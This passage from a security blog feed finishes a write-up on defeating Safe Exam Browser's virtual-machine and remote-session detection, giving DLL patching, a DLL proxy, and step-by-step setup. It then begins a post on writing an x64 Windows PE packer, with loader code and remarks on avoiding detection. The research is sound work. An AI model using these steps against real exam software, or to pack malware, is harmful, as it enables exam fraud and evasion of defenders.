</div></div><div><div><div>7</div></div><div><span>        </span><span>if</span><span> (</span><span>vendors</span><span>)</span></div></div><div><div><div>8</div></div><div><span><span>        </span></span><span>{</span></div></div><div><div><div>9</div></div><div><span>            </span><span>vendors</span><span>-&gt;</span><span>count</span><span> </span><span>=</span><span> </span><span>5</span><span>;</span></div></div><div><div><div>10</div></div><div><span>            </span><span>vendors</span><span>-&gt;</span><span>vendors</span><span>[</span><span>0</span><span>] </span><span>=</span><span> </span><span>"Hyper-V"</span><span>;</span></div></div><div><div><div>11</div></div><div><span>            </span><span>vendors</span><span>-&gt;</span><span>vendors</span><span>[</span><span>1</span><span>] </span><span>=</span><span> </span><span>"KVM"</span><span>;</span></div></div><div><div><div>12</div></div><div><span>            </span><span>vendors</span><span>-&gt;</span><span>vendors</span><span>[</span><span>2</span><span>] </span><span>=</span><span> </span><span>"QEMU"</span><span>;</span></div></div><div><div><div>13</div></div><div><span>            </span><span>vendors</span><span>-&gt;</span><span>vendors</span><span>[</span><span>3</span><span>] </span><span>=</span><span> </span><span>"VMware"</span><span>;</span></div></div><div><div><div>14</div></div><div><span>            </span><span>vendors</span><span>-&gt;</span><span>vendors</span><span>[</span><span>4</span><span>] </span><span>=</span><span> </span><span>"VirtualBox"</span><span>;</span></div></div><div><div><div>15</div></div><div><span><span>        </span></span><span>}</span></div></div><div><div><div>16</div></div><div>
</div></div><div><div><div>17</div></div><div><span><span>        </span></span><span>std::</span><span>srand</span><span><span>(</span><span>std</span><span>::</span></span><span>time</span><span>(</span><span>nullptr</span><span>));</span></div></div><div><div><div>18</div></div><div>
</div></div><div><div><div>19</div></div><div><span>        </span><span>bool</span><span> </span><span>isVirtualMachine</span><span> </span><span>=</span><span><span> (</span><span>std</span><span>::</span></span><span>rand</span><span>() </span><span>%</span><span> </span><span>2</span><span>) </span><span>!=</span><span> </span><span>0</span><span>;</span></div></div><div><div><div>20</div></div><div>
</div></div><div><div><div>21</div></div><div><span><span>        </span></span><span>std::</span><span>string</span><span> </span><span>vendor</span><span>;</span></div></div><div><div><div>22</div></div><div>
</div></div><div><div><div>23</div></div><div><span>        </span><span>if</span><span> (</span><span>isVirtualMachine</span><span>)</span></div></div><div><div><div>24</div></div><div><span><span>        </span></span><span>{</span></div></div><div><div><div>25</div></div><div><span>            </span><span>vendor</span><span> </span><span>=</span><span> </span><span>vendors</span><span>-&gt;</span><span>vendors</span><span><span>[</span><span>std</span><span>::</span></span><span>rand</span><span>() </span><span>%</span><span> </span><span>5</span><span>];</span></div></div><div><div><div>26</div></div><div><span><span>        </span></span><span>}</span></div></div><div><div><div>27</div></div><div>
</div></div><div><div><div>28</div></div><div><span><span>        </span></span><span>std::</span><span>wstring</span><span> </span><span>wideVendor</span><span>(</span><span>vendor</span><span>.</span><span>begin</span><span>(), </span><span>vendor</span><span>.</span><span>end</span><span>());</span></div></div><div><div><div>29</div></div><div>
</div></div><div><div><div>30</div></div><div><span><span>        </span></span><span>// Failed Recovery:</span></div></div><div><div><div>31</div></div><div><span><span>        </span></span><span>// This can be string related function (different compare to the below Themida protected function.)</span></div></div><div><div><div>32</div></div><div><span>        </span><span>*</span><span>manufacturer</span><span> </span><span>=</span></div></div><div><div><div>33</div></div><div><span><span>            </span></span><span><span>reinterpret_cast</span><span>&lt;</span></span><span>BSTR</span><span> (*)(</span><span>const</span><span> </span><span>wchar_t*</span><span>)</span><span>&gt;</span><span>(</span></div></div><div><div><div>34</div></div><div><span>                </span><span><span>0x</span><span>8000000000000002</span></span></div></div><div><div><div>35</div></div><div><span><span>            </span></span><span>)(</span><span>wideVendor</span><span>.</span><span>c_str</span><span>());</span></div></div><div><div><div>36</div></div><div>
</div></div><div><div><div>37</div></div><div><span>        </span><span>*</span><span>probability</span><span> </span><span>=</span></div></div><div><div><div>38</div></div><div><span>            </span><span>isVirtualMachine</span><span> </span><span>?</span><span> std::</span><span>rand</span><span>() </span><span>%</span><span> </span><span>101</span><span> </span><span>:</span><span> </span><span>0</span><span>;</span></div></div><div><div><div>39</div></div><div>
</div></div><div><div><div>40</div></div><div><span>        </span><span>return</span><span> </span><span>isVirtualMachine</span><span>;</span></div></div><div><div><div>41</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>42</div></div><div>
</div></div><div><div><div>43</div></div><div><span>    </span><span>VmContext</span><span> </span><span>detectionContext</span><span>;</span></div></div><div><div><div>44</div></div><div><span>    </span><span>VmContext</span><span> </span><span>manufacturerContext</span><span>;</span></div></div><div><div><div>45</div></div><div><span>    </span><span>VmContext</span><span> </span><span>probabilityContext</span><span>;</span></div></div><div><div><div>46</div></div><div>
</div></div><div><div><div>47</div></div><div><span>    </span><span>bool</span><span> </span><span>isVirtualMachine</span><span> </span><span>=</span></div></div><div><div><div>48</div></div><div><span>        </span><span>IsVmDetected</span><span>(</span></div></div><div><div><div>49</div></div><div><span>            </span><span>BuildVmContext</span><span>(</span><span>&amp;</span><span>detectionContext</span><span>)</span></div></div><div><div><div>50</div></div><div><span><span>        </span></span><span>);</span></div></div><div><div><div>51</div></div><div>
</div></div><div><div><div>52</div></div><div><span><span>    </span></span><span>std::</span><span>string</span><span> </span><span>manufacturerString</span><span> </span><span>=</span></div></div><div><div><div>53</div></div><div><span>        </span><span>GetVmManufacturerString</span><span>(</span></div></div><div><div><div>54</div></div><div><span>            </span><span>BuildVmContext</span><span>(</span><span>&amp;</span><span>manufacturerContext</span><span>)</span></div></div><div><div><div>55</div></div><div><span><span>        </span></span><span>);</span></div></div><div><div><div>56</div></div><div>
</div></div><div><div><div>57</div></div><div><span><span>    </span></span><span>std::</span><span>wstring</span><span> </span><span>wideManufacturer</span><span>(</span></div></div><div><div><div>58</div></div><div><span>        </span><span>manufacturerString</span><span>.</span><span>begin</span><span>(),</span></div></div><div><div><div>59</div></div><div><span>        </span><span>manufacturerString</span><span>.</span><span>end</span><span>()</span></div></div><div><div><div>60</div></div><div><span><span>    </span></span><span>);</span></div></div><div><div><div>61</div></div><div>
</div></div><div><div><div>62</div></div><div><span><span>    </span></span><span>// Failed Recovery:</span></div></div><div><div><div>63</div></div><div><span><span>    </span></span><span>// This function is likely the main VM detection function protected by Themida.</span></div></div><div><div><div>64</div></div><div><span>    </span><span>*</span><span>manufacturer</span><span> </span><span>=</span></div></div><div><div><div>65</div></div><div><span><span>        </span></span><span><span>reinterpret_cast</span><span>&lt;</span></span><span>BSTR</span><span> (*)(</span><span>const</span><span> </span><span>wchar_t*</span><span>)</span><span>&gt;</span><span>(</span></div></div><div><div><div>66</div></div><div><span>            </span><span><span>0x</span><span>8000000000000002</span></span></div></div><div><div><div>67</div></div><div><span><span>        </span></span><span>)(</span><span>wideManufacturer</span><span>.</span><span>c_str</span><span>());</span></div></div><div><div><div>68</div></div><div>
</div></div><div><div><div>69</div></div><div><span>    </span><span>*</span><span>probability</span><span> </span><span>=</span></div></div><div><div><div>70</div></div><div><span>        </span><span>GetVmProbability</span><span>(</span></div></div><div><div><div>71</div></div><div><span>            </span><span>BuildVmContext</span><span>(</span><span>&amp;</span><span>probabilityContext</span><span>)</span></div></div><div><div><div>72</div></div><div><span><span>        </span></span><span>);</span></div></div><div><div><div>73</div></div><div>
</div></div><div><div><div>74</div></div><div><span>    </span><span>return</span><span> </span><span>isVirtualMachine</span><span>;</span></div></div><div><div><div>75</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>Show more</span><span>Show less</span></div></div></section><section><h3>Vulnerability Research<a href="#vulnerability-research"><span>#</span></a></h3><p>Although the reconstructed code was not entirely reliable, I was still able to make several observations and draw tentative conclusions from the analysis.</p><p>Initially, I suspected that an attacker could bypass the VM detection mechanism by manipulating the random number generator (RNG), as the program appeared to return a randomized VM detection result when code signature verification failed.</p><p>I confirmed that the component returns a randomized result when integrity verification fails. I suspected that this might be an intentional deceptive behavior.</p><p><img alt="" loading="lazy" width="539" height="404" src="/_astro/Screenshot_20260724_201632_02.35pgciv5_Z1y9XMe.webp" /></p><p>I confirmed that VM validation process had been successfully bypassed.</p><p><img alt="" loading="lazy" width="1084" height="372" src="/_astro/Screenshot_20260724_213650.BstIcN9x_Z2aBgma.webp" /></p><p><img alt="" loading="lazy" width="559" height="373" src="/_astro/Screenshot_20260724_231219.825ygjfl_Z1kBOmR.webp" /></p><p>However, SEB still detected that it was running inside a virtual machine.</p><p>After further investigating this vulnerability, I identified two additional factors that affect the VM validation process.</p><ul>
<li>First, I discovered that the native component <code>seb_x64.dll</code> was not the only component involved in the VM validation process.</li>
<li>Second, I found that, in my specific testing environment, bypassing remote session detection was also necessary to determine whether the vulnerability could actually be exploited.</li>
</ul><p><img alt="" loading="lazy" width="984" height="591" src="/_astro/Screenshot_20260724_214704.oqi_cH-p_Z1S6YPQ.webp" /></p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>...</span></div></div><div><div><div>2</div></div><div><span>public</span><span> </span><span>bool</span><span> </span><span>IsVirtualMachine</span><span>()</span></div></div><div><div><div>3</div></div><div><span>{</span></div></div><div><div><div>4</div></div><div><span>    </span><span>var</span><span><span> </span><span>isVm</span><span> </span><span>=</span><span> </span></span><span>false</span><span>;</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>isVm</span><span> </span><span>|=</span><span> </span><span>HasNoSystemHardware</span><span>();</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>isVm</span><span> </span><span>|=</span><span> </span><span>HasVirtualDevice</span><span>();</span></div></div><div><div><div>8</div></div><div><span><span>    </span></span><span>isVm</span><span> </span><span>|=</span><span> </span><span>HasVirtualMacAddress</span><span>();</span></div></div><div><div><div>9</div></div><div><span><span>    </span></span><span>isVm</span><span> </span><span>|=</span><span> </span><span>IsVirtualCpu</span><span>();</span></div></div><div><div><div>10</div></div><div><span><span>    </span></span><span>isVm</span><span> </span><span>|=</span><span> </span><span>IsVirtualRegistry</span><span>();</span></div></div><div><div><div>11</div></div><div><span><span>    </span></span><span>isVm</span><span> </span><span>|=</span><span> </span><span>IsVirtualSystem</span><span><span>(</span><span>systemInfo</span><span>.</span><span>BiosInfo</span><span>, </span><span>systemInfo</span><span>.</span><span>Manufacturer</span><span>, </span><span>systemInfo</span><span>.</span><span>Model</span><span>);</span></span></div></div><div><div><div>12</div></div><div><span><span>    </span></span><span>isVm</span><span> </span><span>|=</span><span> </span><span>integrityModule</span><span>.</span><span>IsVirtualMachine</span><span>(</span><span>out</span><span> </span><span>var</span><span><span> </span><span>manufacturer</span><span>, </span></span><span>out</span><span> </span><span>var</span><span><span> </span><span>probability</span><span>);</span></span></div></div><div><div><div>13</div></div><div>
</div></div><div><div><div>14</div></div><div><span><span>    </span></span><span>logger</span><span>.</span><span>Debug</span><span>(</span><span>$"Computer '</span><span>{</span><span>systemInfo</span><span>.</span><span>Name</span><span>}</span><span>' appears </span><span>{(</span><span>isVm</span><span> </span><span>?</span><span> </span><span>""</span><span> </span><span>:</span><span> </span><span>"not "</span><span>)}</span><span>to be a virtual machine</span><span>{(</span><span>isVm</span><span> </span><span>?</span><span> </span><span>$" (</span><span>{</span><span>manufacturer</span><span>}</span><span>, </span><span>{</span><span>probability</span><span>}</span><span>%)"</span><span> </span><span>:</span><span> </span><span>""</span><span>)}</span><span>."</span><span>);</span></div></div><div><div><div>15</div></div><div>
</div></div><div><div><div>16</div></div><div><span>    </span><span>return</span><span><span> </span><span>isVm</span><span>;</span></span></div></div><div><div><div>17</div></div><div><span>}</span></div></div><div><div><div>18</div></div><div><span>...</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>Show more</span><span>Show less</span></div></div><p>Another bypass method I attempted involved manipulating the VM validation result using dnSpy and combining it with the DLL hijacking technique I had previously tested.</p><p>As a result, I successfully bypassed both the VM and remote session validation mechanisms, allowing me to access external resources while running SEB.</p><p><img alt="" loading="lazy" width="1298" height="790" src="/_astro/Screenshot_20260724_234653.DwnIFdh8_ZuAR1N.webp" /></p><p><img alt="" loading="lazy" width="1917" height="985" src="/_astro/Screenshot_20260724_234158.BlsymdkX_Z1p94Rt.webp" /></p><p>Using <code>dnlib</code>, I developed a PoC tool to automate the SEB patching process previously validated manually using dnSpy.
Testing confirmed that the PoC tool also successfully bypasses VM validation.</p><p><img alt="" loading="lazy" width="946" height="523" src="/_astro/title.CRB0R2Na_21AVEN.webp" /></p><p><img alt="" loading="lazy" width="1858" height="1000" src="/_astro/Screenshot_2026-07-27_23-59-52.C1LJGANk_hcp2C.webp" /></p><p>The setup procedure is as follows:</p><ol>
<li>Install <a href="https://fedorapeople.org/groups/virt/virtio-win/direct-downloads/archive-virtio/virtio-win-0.1.285-1/" target="_blank">virtio-win-0.1.285</a> drivers.</li>
<li>Use VirtIo video model type in KVM/QEMU.</li>
<li>Reboot.</li>
<li>Install SafeExamBrowser.</li>
<li>Apply EVirtPatch.</li>
<li>Manually apply seb_x64.dll DLL proxy.</li>
</ol><p><em>Note: If the SEB displays internal/external display-related warnings, please modify the VM configuration to use VirtIO drivers for the video model.</em></p></section><section><h3>Conclusion<a href="#conclusion"><span>#</span></a></h3><p>Using the <code>SafeExamBrowser.Monitoring.dll</code> patch, the virtual machine and remote session detection of the SafeExamBrowser was successfully bypassed. However, this patch triggers both the code and runtime integrity verification failure. Furthermore, the 7th layer of the virtual machine detection layers and the 2nd layer of the remote session detection layers can log both the virtual machine detection results and the remote session detection results.</p><p>Using the <code>seb_x64.dll</code> patch, the integrity verification results were manipulated, leading to a successful integrity verification bypass. The patch also manipulates the external virtual machine and remote session detections (7th layer of virtual machine detection layers &amp; 2nd layer of remote session detection layers), leading to a complete detection bypass.</p></section></section>
<section><h2>Limitations<a href="#limitations"><span>#</span></a></h2><ul>
<li><strong>ASK &amp; BEK</strong>: The App Signature Key (ASK) and Browser Exam Key (BEK) are additional server-side verification mechanisms used to ensure application integrity.</li>
<li><strong>Phyiscal Security</strong>: Supervisors can physically monitor students’ PC which may detect attemps to cheat on online exams.</li>
<li><strong>Reality</strong>: Realistically students cannot easily configure and control virtual machines to cheat on online exams. This may require knowledges related to virtual machine configurations.</li>
</ul></section>
<section><h2>Tested Environment Specification<a href="#tested-environment-specification"><span>#</span></a></h2><p>The research was conducted across four operating system environments:</p><ul>
<li><code>Fedora Linux 44 (KDE)</code></li>
<li><code>Debian Linux 13 (trixie)</code></li>
<li><code>Windows 11 Home (Build 26200)</code></li>
<li><code>Windows 11 Pro (Build 26200)</code></li>
</ul><section><h3>Fedora Linux Host<a href="#fedora-linux-host"><span>#</span></a></h3>

<table><thead><tr><th>Environment</th><th>Information</th></tr></thead><tbody><tr><td>Operating System</td><td>Fedora Linux 44 KDE Plasma Desktop Edition</td></tr><tr><td>Virtualization Engine</td><td>QEMU emulator version 10.2.2 (qemu-10.2.2-1.fc44)</td></tr><tr><td>Architecture</td><td>Intel x64</td></tr></tbody></table></section><section><h3>Debian Linux Host<a href="#debian-linux-host"><span>#</span></a></h3>

<table><thead><tr><th>Environment</th><th>Information</th></tr></thead><tbody><tr><td>Operating System</td><td>Debian GNU/Linux 13 (trixie) x86_64</td></tr><tr><td>Virtualization Engine</td><td>QEMU emulator version 10.0.11 (qemu-10.2.2-1.fc44)</td></tr><tr><td>Architecture</td><td>Intel x64</td></tr></tbody></table></section><section><h3>Windows 11 Home Guest<a href="#windows-11-home-guest"><span>#</span></a></h3>

<table><thead><tr><th>Item</th><th>Value</th></tr></thead><tbody><tr><td><strong>OS</strong></td><td>Microsoft Windows 11 Pro</td></tr><tr><td><strong>OS Version</strong></td><td>10.0.26200 Build 26200</td></tr><tr><td><strong>OS Manufacturer</strong></td><td>Microsoft Corporation</td></tr><tr><td><strong>System Name</strong></td><td>DESKTOP-1L5BAXH</td></tr><tr><td><strong>System Manufacturer</strong></td><td>QEMU</td></tr><tr><td><strong>System Model</strong></td><td>Standard PC (Q35 + ICH9, 2009)</td></tr><tr><td><strong>System Type</strong></td><td>x64-based PC</td></tr><tr><td><strong>Processor</strong></td><td>11th Gen Intel(R) Core(TM) i5-1135G7</td></tr><tr><td><strong>BIOS Version</strong></td><td>Debian distribution of EDK II 2025.02-8+deb13u1</td></tr><tr><td><strong>SMBIOS Version</strong></td><td>2.8</td></tr><tr><td><strong>BIOS Mode</strong></td><td>UEFI</td></tr><tr><td><strong>Platform Role</strong></td><td>Desktop</td></tr><tr><td><strong>Secure Boot State</strong></td><td>On</td></tr><tr><td><strong>Installed Physical Memory</strong></td><td>8.00 GB</td></tr><tr><td><strong>Kernel DMA Protection</strong></td><td>Off</td></tr><tr><td><strong>Virtualization-based Security</strong></td><td>Not enabled</td></tr><tr><td><strong>Hypervisor Bit</strong></td><td>Detected</td></tr></tbody></table></section><section><h3>Windows 11 Pro Guest<a href="#windows-11-pro-guest"><span>#</span></a></h3>

<table><thead><tr><th>Item</th><th>Value</th></tr></thead><tbody><tr><td><strong>OS</strong></td><td>Microsoft Windows 11 Home</td></tr><tr><td><strong>OS Version</strong></td><td>10.0.26200 Build 26200</td></tr><tr><td><strong>OS Manufacturer</strong></td><td>Microsoft Corporation</td></tr><tr><td><strong>System Name</strong></td><td>THERUSTYMATE</td></tr><tr><td><strong>System Manufacturer</strong></td><td>QEMU</td></tr><tr><td><strong>System Model</strong></td><td>Standard PC (Q35 + ICH9, 2009)</td></tr><tr><td><strong>System Type</strong></td><td>x64-based PC</td></tr><tr><td><strong>Processor</strong></td><td>11th Gen Intel(R) Core(TM) i5-1135G7</td></tr><tr><td><strong>BIOS Version</strong></td><td>EDK II edk2-20260508-6.fc44, 5/8/2026</td></tr><tr><td><strong>SMBIOS Version</strong></td><td>2.8</td></tr><tr><td><strong>BIOS Mode</strong></td><td>UEFI</td></tr><tr><td><strong>Platform Role</strong></td><td>Desktop</td></tr><tr><td><strong>Secure Boot State</strong></td><td>On</td></tr><tr><td><strong>Installed Physical Memory</strong></td><td>8.00 GB</td></tr><tr><td><strong>Kernel DMA Protection</strong></td><td>Off</td></tr><tr><td><strong>Virtualization-based Security</strong></td><td>Not enabled</td></tr><tr><td><strong>Hypervisor Bit</strong></td><td>Detected</td></tr></tbody></table></section></section>
<section><h2>References<a href="#references"><span>#</span></a></h2><ul>
<li><a href="https://safeexambrowser.org/download_en.html" target="_blank">https://safeexambrowser.org/download_en.html</a></li>
<li><a href="https://github.com/SafeExamBrowser/seb-win-refactoring/releases/tag/v3.10.2" target="_blank">https://github.com/SafeExamBrowser/seb-win-refactoring/releases/tag/v3.10.2</a></li>
<li><a href="https://en.wikipedia.org/wiki/Virtual_machine" target="_blank">https://en.wikipedia.org/wiki/Virtual_machine</a></li>
<li><a href="https://learn.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page" target="_blank">https://learn.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page</a></li>
<li><a href="https://en.wikipedia.org/wiki/Windows_Registry" target="_blank">https://en.wikipedia.org/wiki/Windows_Registry</a></li>
</ul></section>]]></content>
    </entry>
    <entry>
      <id>https://therustymate.com/posts/2026-08-21-pe2pack/2026-08-21-pe2pack/</id>
      <title type="text">PE2Pack - x64 Windows PE Packer Development</title>
      <published>2026-08-21T00:00:00.000Z</published>
      <updated>2026-08-21T00:00:00.000Z</updated>
      <author><name>therustymate</name></author>
      <link rel="alternate" href="https://therustymate.com/posts/2026-08-21-pe2pack/2026-08-21-pe2pack/"/>
      <summary type="text">x64 Windows PE Packer Development Notes</summary>
      <content type="html"><![CDATA[<a href="https://github.com/therustymate/PE2Pack" target="_blank"><div><div><div><div></div><div>therustymate</div></div><div>/</div><div>PE2Pack</div></div><div></div></div><div>Simple x64 Windows PE Packer</div><div><div>—</div><div>—</div><div>MIT</div><span>C</span></div></a>
<section><h2>Disclaimer<a href="#disclaimer"><span>#</span></a></h2><p>This project and all associated materials are provided <strong>strictly for authorized testing and educational purposes only.</strong></p><p><strong>Unauthorized engagements using this project and associated materials are strictly prohibited.</strong>
Unauthorized access on devices using this project and associated materials may cause serious legal consequences.</p></section>
<section><h2>How does a PE packer work<a href="#how-does-a-pe-packer-work"><span>#</span></a></h2><section><h3>1. PE Validation<a href="#1-pe-validation"><span>#</span></a></h3><p>A custom x64 Windows PE packer first validates <code>IMAGE_DOS_HEADER</code>, <code>IMAGE_NT_HEADERS64</code>, and the architecture (<code>IMAGE_FILE_HEADER</code>) to confirm the given raw data is in PE format.</p><hr /><p>Validating the <code>IMAGE_DOS_HEADER</code>:</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>#define</span><span> </span><span>IMAGE_DOS_SIGNATURE</span><span> </span><span><span>0x</span><span>5A4D</span></span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>IMAGE_DOS_HEADER </span><span>*</span><span>dos </span><span>=</span><span> (IMAGE_DOS_HEADER </span><span>*</span><span>)data;</span><span> // Type cast to a pointer of IMAGE_DOS_HEADER.</span></div></div><div><div><div>4</div></div><div><span>if</span><span> (dos</span><span>-&gt;</span><span>e_magic </span><span>!=</span><span> IMAGE_DOS_SIGNATURE) {</span><span> // Verify magic bytes: 0x5A4D (MZ).</span></div></div><div><div><div>5</div></div><div><span>    </span><span>return</span><span> </span><span>FALSE</span><span>;</span><span> // The given data does not contain a valid DOS header.</span></div></div><div><div><div>6</div></div><div><span>}</span></div></div><div><div><div>7</div></div><div><span>return</span><span> </span><span>TRUE</span><span>;</span><span> // DOS header is validated.</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /><p>Validating the <code>IMAGE_NT_HEADERS64</code>:</p><p>1st: Identify NT header offset from the field, <code>e_lfanew</code> in DOS header:</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>// Base Address + dos-&gt;e_lfanew (NT header offset)</span></div></div><div><div><div>2</div></div><div><span>IMAGE_NT_HEADERS64 </span><span>*</span><span>nt </span><span>=</span><span> (IMAGE_NT_HEADERS64 </span><span>*</span><span>)(data </span><span>+</span><span> dos</span><span>-&gt;</span><span>e_lfanew);</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>2nd: Validate the header using the <code>Signature</code> field:</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>#define</span><span> </span><span>IMAGE_NT_SIGNATURE</span><span> </span><span><span>0x</span><span>00004550</span></span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>// Verify NT header signature: 0x00004550</span></div></div><div><div><div>4</div></div><div><span>if</span><span> (nt</span><span>-&gt;</span><span>Signature </span><span>!=</span><span> IMAGE_NT_SIGNATURE) {</span></div></div><div><div><div>5</div></div><div><span>    </span><span>// 1. The given data does not contain a valid NT header.</span></div></div><div><div><div>6</div></div><div><span>    </span><span>// 2. The identified NT header offset is invalid.</span></div></div><div><div><div>7</div></div><div><span>    </span><span>return</span><span> </span><span>FALSE</span><span>;</span></div></div><div><div><div>8</div></div><div><span>}</span></div></div><div><div><div>9</div></div><div><span>return</span><span> </span><span>TRUE</span><span>;</span><span> // NT header is validated.</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /><p>Validating the architecture (<code>IMAGE_FILE_HEADER</code>):</p><p>1st: Identify File header using the NT header:</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>IMAGE_FILE_HEADER </span><span>*</span><span>file </span><span>=</span><span> (IMAGE_FILE_HEADER </span><span>*</span><span>)</span><span>&amp;</span><span>nt</span><span>-&gt;</span><span>FileHeader;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>2nd: Validate the architecture using the field, <code>Machine</code>:</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>#define</span><span> </span><span>IMAGE_FILE_MACHINE_AMD64</span><span> </span><span><span>0x</span><span>8664</span></span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>if</span><span> (file</span><span>-&gt;</span><span>Machine </span><span>!=</span><span> IMAGE_FILE_MACHINE_AMD64) {</span></div></div><div><div><div>4</div></div><div><span>    </span><span>// 1. The file is not x64.</span></div></div><div><div><div>5</div></div><div><span>    </span><span>// 2. The given file is not valid PE file.</span></div></div><div><div><div>6</div></div><div><span>    </span><span>return</span><span> </span><span>FALSE</span><span>;</span></div></div><div><div><div>7</div></div><div><span>}</span></div></div><div><div><div>8</div></div><div><span>return</span><span> </span><span>TRUE</span><span>;</span><span> // The architecture is x64.</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>2. Memory Allocation<a href="#2-memory-allocation"><span>#</span></a></h3><p>After validating the headers, it will allocate and load the image into an executable memory region. This region often has RWX or RX permissions.
Allocating RWX (Read-Write-eXecutable) memory region often draws suspicion as common executable programs often do not allocate a memory region with
RWX permission for the program’s safety. However, executable packers and shellcode loaders often do this.</p><p>On the other hand, changing the memory permission from RW to RX is similar to JIT compiler behaviours, mainly used by Java, C#, and JavaScript.
This “can” be less suspicious as common programs written in Java and C# can show similar behaviours (RW to RX transition).
The JIT compilation approach is better if I was planning to create a defense evasive packer (formally known as crypter/protector).</p><p>In this example, RWX permission is simpler and still acceptable as many non-commercial and commercial packers use embedded RWX sections.
These sections are quite different as it doesn’t allocate RWX regions in memory at runtime, it has its own embedded RWX sections.</p><p>For example, Themida, a commercial PE protector creates a RWX section embedded within the PE file:
</p><figure><img alt="Themida Protector" loading="lazy" width="543" height="295" src="/_astro/themida.WvqQiSXh_Z1Vy63L.webp" /><figcaption>Themida Protector</figcaption></figure><p></p><p>Another example, UPX creates a RWX section embedded within the PE file as well:
</p><figure><img alt="UPX Packer" loading="lazy" width="499" height="112" src="/_astro/upx.Br-TTePp_knVbp.webp" /><figcaption>UPX Packer</figcaption></figure><p></p><hr /><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>BYTE </span><span>*</span><span>image </span><span>=</span><span> (BYTE </span><span>*</span><span>)</span><span>VirtualAlloc</span><span>(</span></div></div><div><div><div>2</div></div><div><span>    </span><span>NULL</span><span>,</span><span>                               // No designated memory address.</span></div></div><div><div><div>3</div></div><div><span><span>    </span></span><span>nt</span><span>-&gt;</span><span><span>OptionalHeader.SizeOfImage</span><span>,</span></span><span>     // Allocation size = Image size.</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>MEM_COMMIT </span><span>|</span><span><span> MEM_RESERVE</span><span>,</span></span><span>           // Allocate (commit) and reserve at the same time.</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>PAGE_EXECUTE_READWRITE</span><span>              // RWX (Read-Write-eXecutable).</span></div></div><div><div><div>6</div></div><div><span>);</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>3. Memory Mapping<a href="#3-memory-mapping"><span>#</span></a></h3><p>After allocating the memory, the packer needs to copy into the allocated memory:</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>memcpy</span><span><span>(</span><span>image</span><span>,</span><span> data</span><span>,</span><span> nt</span></span><span>-&gt;</span><span><span>OptionalHeader.SizeOfHeaders</span><span>);</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><code>SizeOfImage</code> is the amount of memory required for the image and <code>SizeOfHeaders</code> is the size of headers.
the packer loads the headers first as the file layout is not identical to the memory layout.</p><p>The <code>VirtualAddress</code> and <code>PointerToRawData</code> store different data.
<code>VirtualAddress</code> stores the section RVA and <code>PointerToRawData</code> stores the file offset.
Therefore, mapping the file layout straight to the memory will result in an error.</p><p>RVA, or Relative Virtual Address is the offset of the address from the image base.</p><p></p><figure><img alt="RVA File" loading="lazy" width="744" height="312" src="/_astro/rva_01.WCKTEtfR_J1jy5.webp" /><figcaption>RVA File</figcaption></figure><p></p><p></p><figure><img alt="RVA Memory" loading="lazy" width="913" height="213" src="/_astro/rva_02.BJ_yFbo__ZlmxMt.webp" /><figcaption>RVA Memory</figcaption></figure><p></p><p>After mapping the headers, the packer then maps each section.
As it was previously mentioned, <code>VirtualAddress</code> stores the “memory offset”.
In order to map each section, each <code>VirtualAddress</code> must point to the corresponding section.</p><p>Therefore, each section must be copied from its file offset (<code>PointerToRawData</code>)
to its memory offset (<code>VirtualAddress</code>, which represents the section RVA).</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>IMAGE_SECTION_HEADER </span><span>*</span><span>sections </span><span>=</span><span> </span><span>IMAGE_FIRST_SECTION</span><span><span>(</span><span>nt</span><span>);</span></span></div></div><div><div><div>2</div></div><div><span>for</span><span> (WORD i </span><span>=</span><span> </span><span>0</span><span>; i </span><span>&lt;</span><span> nt</span><span>-&gt;</span><span>FileHeader.NumberOfSections; i</span><span>++</span><span>) {</span></div></div><div><div><div>3</div></div><div><span>    </span><span>// Skip if the section is empty</span></div></div><div><div><div>4</div></div><div><span>    </span><span>if</span><span> (</span><span>sections</span><span>[i].</span><span>SizeOfRawData</span><span> </span><span>==</span><span> </span><span>0</span><span>) </span><span>continue</span><span>;</span></div></div><div><div><div>5</div></div><div>
